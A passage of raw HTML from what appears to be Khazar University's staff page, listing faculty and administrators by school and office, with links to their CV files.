Aleksandra&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Rzayeva%20N%23U0259srin%20cv.doc\">Nəsrin</a><a href=\"http://www.khazar.org/files/pdf/Rzayeva%20N%23U0259srin%20cv.doc\">&nbsp;</a><a href=\"http://www.khazar.org/files/pdf/Rzayeva%20N%23U0259srin%20cv.doc\">Rzayeva</a>&nbsp;&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Elxan%20H%23U0259ziyev%20%20cv.doc\">Elxan</a><a href=\"http://www.khazar.org/files/pdf/Elxan%20H%23U0259ziyev%20%20cv.doc\">&nbsp;Həziyev</a>&nbsp;&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/P%23U0259rviz%20B%23U0259d%23U0259lov%20%20cv.doc\">Pərviz&nbsp; Bədəlov&nbsp;</a>&nbsp;<br></p><p><br></p><p><strong>Political Science and International Relations</strong></p><p><a href=\"http://www.khazar.org/files/pdf/Mukhtar%20Hacizade_CV.pdf\">Mukhtar Hacizade</a></p><p><a href=\"http://www.khazar.org/files/pdf/Baba_Bayramli_CV.pdf\">Baba&nbsp;Bayramli</a></p><p><a href=\"http://www.khazar.org/files/pdf/Kenan_Allahverdiyev_CV.pdf\">Kenan&nbsp;Allahverdiyev</a></p><p><a href=\"http://www.khazar.org/files/pdf/Rashad_Huseynov_CV.pdf\">Rashad&nbsp;Huseynov</a></p><p><a href=\"http://www.khazar.org/files/pdf/ELSEVER%20MAMMADOV_CV.pdf\">Elsever&nbsp;Mammadov</a></p><p><a href=\"http://www.khazar.org/files/pdf/ARIZ%20HUSEYNOV%20CV.pdf\">Ariz&nbsp;&nbsp;Huseynov&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Azad_Garibov_CV.pdf\">Azad&nbsp;Garibov&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Mahammad_Muradov%20CV.pdf\">Mahammad&nbsp;Muradov&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Murad_Nasibov%20CV.pdf\">Murad&nbsp;Nasibov&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Gunay_Bayramova_CV.pdf\">Gunay&nbsp;Bayramova&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Elvin%20Yusifli%20cv.pdf\">Elvin Yusifli&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/BaxtIyar_Aslanov%20cv.pdf\">BaxtIyar&nbsp;Aslanov</a><br></p><p>&nbsp;</p><p><strong>Other Associate Professors</strong></p><p><a href=\"http://www.khazar.org/files/pdf/Jala%20Garibova_CV.doc\">Jala Garibova&nbsp;</a><a href=\"http://www.khazar.org/files/Jala%20Garibova_CV.doc\"></a></p><p><a href=\"http://www.khazar.org/files/pdf/Rustam_Lazimov_CV.doc\">Rustam&nbsp;Lazimov&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Rahman_Shahhuseynli_cv.doc\">Rahman&nbsp;Shahhuseynli&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Agne_Limante_cv.pdf\">Agne&nbsp;Limante</a></p><p><a href=\"http://www.khazar.org/files/pdf/Zulfiyya_Valiyeva_CV.doc\">Zulfiyya&nbsp;Valiyeva</a></p><p>Knyaz&nbsp;Aslan<a href=\"http://www.khazar.org/files/Knyaz_Aslan_cv.doc\"></a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Vafali_Ansarov_cv.doc\">Vafali&nbsp;Ansarov</a></p><p><a href=\"http://www.khazar.org/files/pdf/Ramila_Huseynova_CV%20(1).doc\">Ramila&nbsp;Huseynova</a><a href=\"http://www.khazar.org/files/Ramila_Huseynova_CV.doc\"></a></p><p><a href=\"http://www.khazar.org/files/pdf/Donna_Raef_CV.pdf\">Donna&nbsp;Raef</a><a href=\"http://www.khazar.org/files/Donna_Raef_CV.doc\"></a></p><p><a href=\"http://www.khazar.org/files/pdf/Rafiq_Safarov_CV.doc\">Rafiq&nbsp;Safarov</a></p><p>&nbsp;</p><p><strong>&nbsp;Other Assistant Professors</strong></p><p><a href=\"http://www.khazar.org/files/image/Khayala_Mammadova_CV.doc\">Khayala&nbsp;Mammadova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Sevda_Ismayilova_CV.doc\">Sevda&nbsp;Ismayilova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Gulnar_Aghayeva_CV.doc\">Gulnar&nbsp;Aghayeva</a></p><p><a href=\"http://www.khazar.org/files/pdf/Nigar_Haqverdiyeva_CV.doc\">Nigar&nbsp;Haqverdiyeva</a></p><p><a href=\"http://www.khazar.org/files/pdf/Kamala_Askerova-CV.docx\">Kamala&nbsp;Askerova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Aygun_Mammadova-CV.rtf\">Aygun&nbsp;Mammadova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Sevil_Huseynova_CV.doc\">Sevil&nbsp;Huseynova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Sevinc_Qafarova_CV.doc\">Sevinc&nbsp;Qafarova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Venera_Aliyeva-CV.docx\">Venera&nbsp;Aliyeva</a></p><p><a href=\"http://www.khazar.org/files/pdf/Lala_Jabbarova_CV.doc\">Lala&nbsp;Jabbarova</a></p><p>&nbsp;</p><p><strong>Other Instructors</strong></p><p><strong></strong><a href=\"http://www.khazar.org/files/image/Elchin_Akabarov_CV.doc\">Elchin&nbsp;Akabarov</a></p><p><a href=\"http://www.khazar.org/files/image/Elchin_Akabarov_CV.doc\"></a><a href=\"http://www.khazar.org/files/pdf/Ilham_Shahmuradov_CV.doc\">Ilham&nbsp;Shahmuradov</a></p><p><a href=\"http://www.khazar.org/files/pdf/Ilham_Shahmuradov_CV.doc\"></a><a href=\"http://www.khazar.org/files/pdf/Resad_Selimov_CV.doc\">Resad&nbsp;Selimov</a></p><p><a href=\"http://www.khazar.org/files/pdf/Resad_Selimov_CV.doc\"></a>Ziyafaddin&nbsp;Asadov</p><p><a href=\"http://www.khazar.org/files/pdf/Leyla_Niyazova_cv.doc\">Leyla&nbsp;Niyazova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Leyla_Niyazova_cv.doc\"></a><a href=\"http://www.khazar.org/files/pdf/Saadat_Novruzova_cv.doc\">Saadat&nbsp;Novruzova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Saadat_Novruzova_cv.doc\"></a><a href=\"http://www.khazar.org/files/pdf/Eldar_Zeynalov_CV.doc\">Eldar&nbsp;Zeynalov</a></p><p><a href=\"http://www.khazar.org/files/pdf/Eldar_Zeynalov_CV.doc\"></a><a href=\"http://www.khazar.org/files/pdf/Pervane_Isgenderzadeh_CV.doc\">Pervane&nbsp;Isgenderzadeh</a></p><p><a href=\"http://www.khazar.org/files/pdf/Pervane_Isgenderzadeh_CV.doc\"></a><a href=\"http://www.khazar.org/files/pdf/Tarana_Boyukzadeh_CV.doc\">Tarana&nbsp;Boyukzadeh</a></p><p><a href=\"http://www.khazar.org/files/pdf/Tarana_Boyukzadeh_CV.doc\"></a><a href=\"http://www.khazar.org/files/pdf/Xanim_Ahmadova-CV.rtf\">Xanim&nbsp;Ahmadova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Xanim_Ahmadova-CV.rtf\"></a><a href=\"http://www.khazar.org/files/pdf/Lala_Rustamova_CV.doc\">Lala&nbsp;Rustamova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Lala_Rustamova_CV.doc\"></a><a href=\"http://www.khazar.org/files/pdf/Vusal_Behbudov_cv.doc\">Vusal&nbsp;Behbudov</a></p><p><a href=\"http://www.khazar.org/files/pdf/Vusal_Behbudov_cv.doc\"></a><a href=\"http://www.khazar.org/files/pdf/Azad_Garibov_cv.doc\">Azad&nbsp;Garibov</a></p><p><a href=\"http://www.khazar.org/files/pdf/Azad_Garibov_cv.doc\"></a><a href=\"http://www.khazar.org/files/pdf/Manfredas_Limantas_cv%20(1).doc\">Manfredas&nbsp;Limantas</a></p><p><a href=\"http://www.khazar.org/files/pdf/Manfredas_Limantas_cv%20(1).doc\"></a><a href=\"http://www.khazar.org/files/pdf/Khaqan_Babayev_%20CV.doc\">Khaqan&nbsp;Babayev&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Khaqan_Babayev_%20CV.doc\"></a><a href=\"http://www.khazar.org/files/pdf/Jabir_Mammadov_cv.doc\">Jabir&nbsp;Mammadov</a></p><p><a href=\"http://www.khazar.org/files/pdf/Jabir_Mammadov_cv.doc\"></a><a href=\"http://www.khazar.org/files/pdf/Cahid_Memmedov_cv.pdf\">Cahid Məmmədov&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Cahid_Memmedov_cv.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Altay_Mustafayev_cv%20(2).doc\">Altay&nbsp;Mustafayev</a>&nbsp;&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Leyla_Mammadova_cv.doc\">Leyla&nbsp;Mammadova</a></p><p><br></p><p><strong>School of Education</strong></p><p><strong><strong></strong></strong><strong>Administration</strong></p></div><p><a href=\"http://www.khazar.org/files/pdf/CV_Elza_Semedli.pdf\">Elza&nbsp;Semedli</a></p><p><a href=\"http://www.khazar.org/files/pdf/CV%20Zarifa_Aliyeva.pdf\">Zarifa&nbsp;Aliyeva</a></p><p><a href=\"http://www.khazar.org/files/pdf/CV%20Aygun_Verdiyeva.pdf\">Aygun&nbsp;Verdiyeva</a></p><p><a href=\"http://www.khazar.org/files/pdf/Aysel%20Gasimova%20CV.pdf\">Aysel &nbsp;Gasimova</a></p><p><strong><br></strong></p><p><strong>Azerbaijani Language and Literature</strong></p><p><a href=\"http://www.khazar.org/files/pdf/CV_Vurgun_Eyyub.pdf\">Vurgun Eyyub</a></p><p><a href=\"http://www.khazar.org/files/pdf/Gunel_Ismayilova_CV.pdf\">Gunel&nbsp;İsmayılova</a></p><p><em><strong>Instructors</strong></em>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/Dilbar_Zeynalova__CV%20(1).pdf\">Dilber&nbsp;Zeynalova</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Reyhan_Madatova_CV.pdf\">Reyhan&nbsp;Madatova</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Reyhan_Madatova_CV.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Khatira_Bashirli_CV.pdf\">Khatira&nbsp;Bashirli</a></p><p><a href=\"http://www.khazar.org/files/pdf/Khatira_Bashirli_CV.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Vafa_Aslanova.pdf\">Vafa Aslanova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Ilahe_Qurbanova_CV.pdf\">İlahe&nbsp;Qurbanova</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Ilahe_Haciyeva-CV.pdf\">İlahə&nbsp;Hacıyeva</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Sevinc_A%C4%9Fayeva-CV.pdf\">Sevinc&nbsp;Ağayeva</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Cahid_Ismayiloglu_CV.pdf\">Cahid&nbsp;Ismayiloglu</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Bedirxan_m.pdf\">Bedirhan Ahmedov</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Azizxanli_Qardashxan_CV.pdf\">Əzizxanlı Qardaşxan</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Elza_Ismayilova_CV.pdf\">Elza Ismayilova</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/azelang_depart/CV-Xatira_Yusifova.doc\">Xatirə Yusifova&nbsp;</a></p><p><br></p><p><strong>Education</strong>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/CV_Elza_Semedli.pdf\">Elza N. Səmədova</a>&nbsp;&nbsp;</p><p><a href=\"http://www.khazar.org/files/edu_depart/Goshgar_-_CV_.PDF\">Goshgar Maharramov</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Konul_Mahyaddinova_CV.pdf\">Konul Mahyaddinova</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Vafa_Gasimova_CV.pdf\">Vafa Gasimova</a>&nbsp;&nbsp;&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Lamiya_Sharafkhanova_CV.pdf\">Lamiya Sharafkhanova</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/edu_depart/CV-eng_last.PDF\">Rukhsara Guliyeva</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/edu_depart/Aytac_S_CV_2016.PDF\">Aytac Sahil</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/edu_depart/CV_(6).PDF\">Ulviyya Valiyeva</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Amina_Karbalayeva_CV.pdf\">Amina Karbalayeva</a>&nbsp;&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Asmar_Yusifzada_CV.pdf\">Asmar Yusifzada</a></p><p><a href=\"http://www.khazar.org/files/pdf/Asmar_Yusifzada_CV.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Gulbeniz_Muxtarova_cv.pdf\">Gulbaniz Mukhtarli</a></p><p><a href=\"http://www.khazar.org/files/pdf/Gulbeniz_Muxtarova_cv.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Kamala_Jafarzade_CV.pdf\">Kamala Jafarzada</a></p><p><a href=\"http://www.khazar.org/files/pdf/Kamala_Jafarzade_CV.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Khuraman%20Nagizadeh.pdf\">Khuraman Nagizada&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Khuraman%20Nagizadeh.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Ogtay_Guliyev_CV.pdf\">Oqtay Guliyev</a></p><p><a href=\"http://www.khazar.org/files/pdf/Ogtay_Guliyev_CV.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Ramil%20Mustafayev_CV_School%20of%20Education_Khazar%20University.pdf\">Ramil Mustafayev</a></p><p><a href=\"http://www.khazar.org/files/pdf/Ramil%20Mustafayev_CV_School%20of%20Education_Khazar%20University.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Ramina_Aghayeva_CV.pdf\">Ramina Aghayeva</a></p><p><a href=\"http://www.khazar.org/files/pdf/Ramina_Aghayeva_CV.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Sevda_Ismayilova_CV.pdf\">Sevda Ismayilova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Sevda_Ismayilova_CV.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Ulkar_Bayramova_CV_.pdf\">Ulkar Bayramova</a>&nbsp;<br></p><p><br></p><p><strong>Geography</strong>&nbsp;<br></p><p><a href=\"http://www.khazar.org/en/menus/575/_people\">See more CVs</a>&nbsp;<br></p><p><br></p><p><strong>School of Economics and Management</strong>&nbsp;<br></p><p><strong>Administration</strong>&nbsp;</p><p><a href=\"http://www.khazar.org/files/economics/IngilabAhmadovCV1%20(2).pdf\">Ingilab&nbsp;Ahmadov</a>&nbsp;&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/economics/FuatRasulovCV%20(1).pdf\">Fuat &nbsp;Rasulov</a>&nbsp;&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/economics/JMammadov_CV.pdf\">Jeyhun Mammadov&nbsp;</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/RahimovAytan.pdf\">Aytan &nbsp;Bakhishova</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/economics/Khanim_CV.pdf\">Khanim&nbsp;&nbsp;Nabiyeva&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/economics/Samire_Mirzeyeva_CV.pdf\">Samira Mirzayeva&nbsp;</a>&nbsp;&nbsp;<br></p><p><br></p><p><em><strong>Instructors</strong></em>&nbsp;</p><p><a href=\"http://www.khazar.org/files/demo/Mahammad_Nuriyev_CV.pdf\">Prof.&nbsp;Mahammad Nuriyev</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/CV_Huseynov_Rashad_updated_for%20khazar.pdf\">Dr.Rashad Huseynov</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/TahirSGadjievCV.pdf\">Tahir Gadjiyev</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/LamanGayidovaCV2014.pdf\">Laman Gayidova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/Narminacv.pdf\">Narmin Shirinova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/NijatRasulovCV.pdf\">Nijat Resulov</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/ZiyaAliliCV%20(1).pdf\">ZiyaAlili&nbsp;</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/OrkhanKarimovCV2014%20(2).pdf\">Orkhan Karimov</a>&nbsp;&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/CV%20Khumar%20Huseynova_Yanvar_08%20(1).pdf\">Khumar Huseynova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/SanaImrancvnew%20(1).pdf\">Sana Imran&nbsp;</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/Tarlan_Isgandarov_CV%20(1).pdf\">Tarlan Isgandarov</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/CVFidanHajiyeva%20(3).docx.pdf\">Fidan Hajiyeva</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/CV.%20Shaig%20Ganbarli%20(1).pdf\">Shaig Ganbarli</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/Javidan_Feyziyev%20CV.pdf\">Javidan Feyziyev</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/Aygun%20MammadovaCV.pdf\">Aygun Mammadova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/TuranGarayevaCV.pdf\">Turan Garayeva</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/RasulHajiyevCV2014%20(3).pdf\">Rasul Hajiyev</a>&nbsp;&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/CVKamil2014.pdf\">Kamil Heydarov</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/AntonyJoseCvJuly20122.pdf\">Antony Jose</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/NiyaziAbbasovresume2015.pdf\">Niyazi Abbasov</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/ElnurHuseynovcv2014.pdf\">Elnur Huseynov</a>&nbsp;&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/FuadBINTERCVtrainer(1)%20(2).docx\">Fuad Aliyev</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/CV_Namik%20Khalilov_updated_1.pdf\">Namik Khalilov</a>&nbsp;&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/NijatGarayevCV2014.pdf\">Nijat Garayev</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/fuad%20aliyev%20ib.pdf\">Fuad Aliyev&nbsp;</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/Zhala.Mammadova.pdf\">Zhala Mammadova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/CV_Erkin_Nasirov%20(1).doc\">Erkin Nasirov</a>&nbsp;&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/CV_Abdulla.pdf\">Abdulla Alikhanov</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/vusalmemmedrzayev.pdf\">Vusal Mammadrzayev</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/vusalmemmedrzayev.pdf\">Elvin Mirzayev</a>&nbsp;&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/CVFarizTJafarov2014.pdf\">Fariz Jafarov</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/CVEuropeanPassMirIsmayiSeyidov.pdf\">Mirismayil Seyidov</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/2016%20Samir%20Khalilov%20CV%20eng%20(1).pdf\">Samir Khalilov</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/demo/CVGaniyeva2014.pdf\">Lala Ganiyeva</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/cv.nilufar.masimova%20.PDF\">Nilufar Masimova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/CV-Europass-20160317-Guliev-EN%20(1)%20(2).pdf\">Rovshan Guliyev</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/cv_Firdovsi_Agashirinov.pdf\">Firdovsi Aghashirinov</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eco_depart/CV%20-%20Elmir%20Huseynov.pdf\">Elmir Huseynov</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eco_depart/AhmetBahadirBaysal.doc\">Bahadır Baysal</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eco_depart/Sevinj%20CV_Khazar%20University.pdf\">Sevinj Sultanova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eco_depart/Khazar%20University%20CV%20nazaket%20azimli%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0.docx\">Nazaket Azimli&nbsp;</a>&nbsp;<br></p><p><br></p><p><strong>University Administration</strong></p><p><strong>Board of Directors and Trustees</strong></p><p><a href=\"http://www.khazar.org/files/pdf/Hamlet_Isaxanli_CV_04.21.2014.pdf\">Hamlet Isaxanli</a>&nbsp;&nbsp;<br></p><p><strong>Sevda Salayeva</strong><br></p><p><br></p><p><strong>Office of the Vice President for Academic Affairs</strong></p><p><a href=\"http://www.khazar.org/files/demo/Mahammad_Nuriyev_CV.pdf\">Mahammad&nbsp;Nuriyev</a>&nbsp;<br></p><p><a href=\"http://old.khazar.org/files/Eldar_Shahgaldiyev_CV.pdf\"></a><a href=\"http://www.khazar.org/files/Eldar_Shahgaldiyev_CV.pdf\">Eldar Shahgaldiyev</a>&nbsp;<br></p><p><a href=\"http://old.khazar.org/files/Leyla_Salayeva-CV.pdf\"></a><a href=\"http://www.khazar.org/files/Leyla_Salayeva-CV.pdf\">Leyla Salayeva</a>&nbsp;</p><p><br></p><p><strong>Office of Vice President for Administration and Student Affairs</strong></p><p><a href=\"http://old.khazar.org/files/Rafig%20Ahmadov%20CV.pdf\"></a><a href=\"http://old.khazar.org/files/Rafig%20Ahmadov%20CV.pdf\">&nbsp;</a><a href=\"http://www.khazar.org/files/pdf/CV_Rafiq_Ahmedov.pdf\">Rafig Ahmadov</a><a href=\"http://old.khazar.org/files/Rafig%20Ahmadov%20CV.pdf\"></a></p><p>&nbsp;</p><p><strong>Office of the Vice President for International Affairs</strong></p><p><a href=\"http://old.khazar.org/files/files/Turan_Jafarova.pdf\"></a><a href=\"http://old.khazar.org/files/files/Turan_Jafarova.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Turan_Jafarova%20cv.pdf\">Turan Jafarova</a><a href=\"http://old.khazar.org/files/files/Turan_Jafarova.pdf\"></a></p><p><a href=\"http://old.khazar.org/files/files/Gunay%20Farzaliyeva.pdf\"></a><a href=\"http://old.khazar.org/files/files/Gunay%20Farzaliyeva.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Gunay%20Farzaliyeva%20cv.pdf\">Gunay&nbsp;</a><a href=\"http://www.khazar.org/files/pdf/Gunay%20Farzaliyeva%20cv.pdf\">Farzaliyeva</a><a href=\"http://old.khazar.org/files/files/Gunay%20Farzaliyeva.pdf\"></a></p><p><a href=\"http://old.khazar.org/s385/Faculty-and-Staff-CVs/files/Mirzaaga%20Samadov.pdf\"></a><a href=\"http://old.khazar.org/s385/Faculty-and-Staff-CVs/files/Mirzaaga%20Samadov.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Mirzaaga%20Samadov%20cv.pdf\">Mirzaaga Samadov</a><a href=\"http://old.khazar.org/s385/Faculty-and-Staff-CVs/files/Mirzaaga%20Samadov.pdf\"></a></p><p>&nbsp;</p><p><strong>Registation and Record Office</strong></p><p><a href=\"http://www.khazar.org/files/Jeyhun_Isayev_CV.pdf\">Jeyhun&nbsp;Isayev</a></p><p><a href=\"http://www.khazar.org/files/Jeyhun_Isayev_CV.pdf\"></a><a href=\"http://www.khazar.org/files/Aysel_Ibishova_CV.pdf\">Aysel&nbsp;Ibishova</a></p><p>&nbsp;</p><p><strong>Development Center</strong></p><p><a href=\"http://old.khazar.org/files/Raziya_Isayeva%20_CV.pdf\">Raziya&nbsp;Isayeva</a></p><p><a href=\"http://old.khazar.org/files/Ulkar_Bayramova%20CV.pdf\">Ulkar&nbsp;Bayramova&nbsp;</a></p><p><a href=\"http://old.khazar.org/files/Aytac%20Sahil_CV.pdf\">Aytac Sahil&nbsp;</a></p><p><a href=\"http://old.khazar.org/files/Rima_Mammadova_CV_for_website.PDF\">Rima&nbsp;Mammadova</a><br></p><p><a href=\"http://old.khazar.org/files/Rima_Mammadova_CV_for_website.PDF\">Rima Mammadova</a></p><p>&nbsp;</p><p><strong>Quality Assurance Center</strong></p><p><a href=\"http://old.khazar.org/files/Lyudmila_Sotova%20cv.pdf\">Lyudmila&nbsp;Sotova</a>&nbsp;<br></p><p><a href=\"http://old.khazar.org/files/Afag%20Aslanova%20cv.pdf\">Afag Aslanova</a>&nbsp;</p><p><strong><br></strong></p><p><strong>Finance Department</strong></p><p><strong></strong><a href=\"http://old.khazar.org/files/Nagi_Bayramli_CV.pdf\">Nagi&nbsp;Bayramli</a></p><p>&nbsp;</p><p><strong>Accounting Department</strong></p><p><a href=\"http://old.khazar.org/files/Gatiba_Karimova_CV.pdf\">Gatiba&nbsp;Karimova</a><strong><br></strong></p><p><a href=\"http://old.khazar.org/files/Karim_Karimov_CV.pdf\">Karim&nbsp;Karimov</a></p><p><a href=\"http://old.khazar.org/files/Sahifa_Murshudova_CV.pdf\">Sahifa&nbsp;Murshudova</a></p><p><a href=\"http://old.khazar.org/files/Leyla_Valiyeva%20CV.pdf\">Leyla&nbsp;Valiyeva</a></p><p><a href=\"http://old.khazar.org/files/Narmin_Khalilzade%20CV.pdf\">Narmin&nbsp;Khalilzade</a><br></p><p>&nbsp;</p><p><strong>Personnel</strong></p><p><a href=\"http://old.khazar.org/files/Aybeniz_Namazova_CV.pdf\">Aybeniz&nbsp;Namazova</a></p><p>&nbsp;</p><p><strong>Public Relations and Media Office&nbsp;</strong></p><p><a href=\"http://old.khazar.org/files/Alovsat_Amirbayli%20CV.pdf\">Alovsat&nbsp;Amirbayli</a></p><p><a href=\"http://old.khazar.org/files/Ulkar_Agayeva%20CV.pdf\">Ulkar Agayeva&nbsp;</a></p><p><a href=\"http://old.khazar.org/files/Ilaha%20Musayeva_CV.pdf\">Ilaha Musayeva</a></p><p><a href=\"http://old.khazar.org/files/%C5%9E%C9%99fiyeva%20Sevinc%20cv.pdf\">Şəfiyeva Sevinc</a><br></p><p>&nbsp;</p><p><strong>Admission Office</strong></p><p><a href=\"http://old.khazar.org/files/Isakhan_Isakhanli%20CV.pdf\">Isakhan&nbsp;Isakhanli</a></p><p><a href=\"http://old.khazar.org/files/Namazova%20Lamiya%20CV.pdf\">Namazova Lamiya</a></p><p><a href=\"http://www.khazar.org/files/admin/Shemruz_cv.doc\">Şəmruz Əliyeva</a><br></p><p>&nbsp;</p><p><strong>Student Affairs and Career Center</strong><strong>&nbsp;</strong></p><p><a href=\"http://old.khazar.org/files/Ulviyya_Huseynova_CV.pdf\">Ulviyya&nbsp;Huseynova</a></p><p><a href=\"http://old.khazar.org/files/Laman_Aliyeva_CV.pdf\">Laman&nbsp;Aliyeva</a></p><p>&nbsp;</p><p><strong>Director of Technopark</strong></p><p><a href=\"http://old.khazar.org/files/%C3%96zden%20DOYURAN-CV.PDF\">Özden Doyuran</a><br></p><p>&nbsp;</p><p><strong>Information systems office</strong></p><p><a href=\"http://old.khazar.org/files/Rashad_Khaligov_.CV.pdf\">Rashad&nbsp;Khaligov</a>&nbsp;</p><p>&nbsp;</p><p><strong>Information Technology Department</strong></p><p><a href=\"http://old.khazar.org/files/Musayev%20Farid_CV.pdf\">Musayev Farid</a></p><p><a href=\"http://old.khazar.org/files/Musayev%20Farid_CV.pdf\"></a><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-lkin_Alizad.pdf\">Ilkin Alizade</a>  &nbsp;</p><p><a href=\"http://old.khazar.org/files/Emil%20Sepxanov%20cv.pdf\">Emil Sepxanov</a><br></p><p><br></p><p>&nbsp;</p><p><strong>Internet Institute</strong></p><p><a href=\"http://www.khazar.org/files/pdf/CVMahammad_Sharifov.pdf\">Mahammad Sharifov</a></p><p><a href=\"http://old.khazar.org/files/Gunel%20Rasulova_cv.docx.pdf\">Gunel Rasulova</a><br></p><p><strong><br></strong></p><p><strong>Khazar-Khabar Journal</strong>&nbsp;</p><p><a href=\"http://old.khazar.org/files/Alirza_Balayev_CV.pdf\">Alirza&nbsp;Balayev</a></p><p><a href=\"http://www.khazar.org/files/gozel%20cv.doc\">Gozel Habibova</a></p><p><a href=\"http://old.khazar.org/files/Mir_Rafiq_%C6%8Fbdulrahimov_CV.pdf\">Mir&nbsp;Rafiq&nbsp;Əbdulrahimov</a></p><p><a 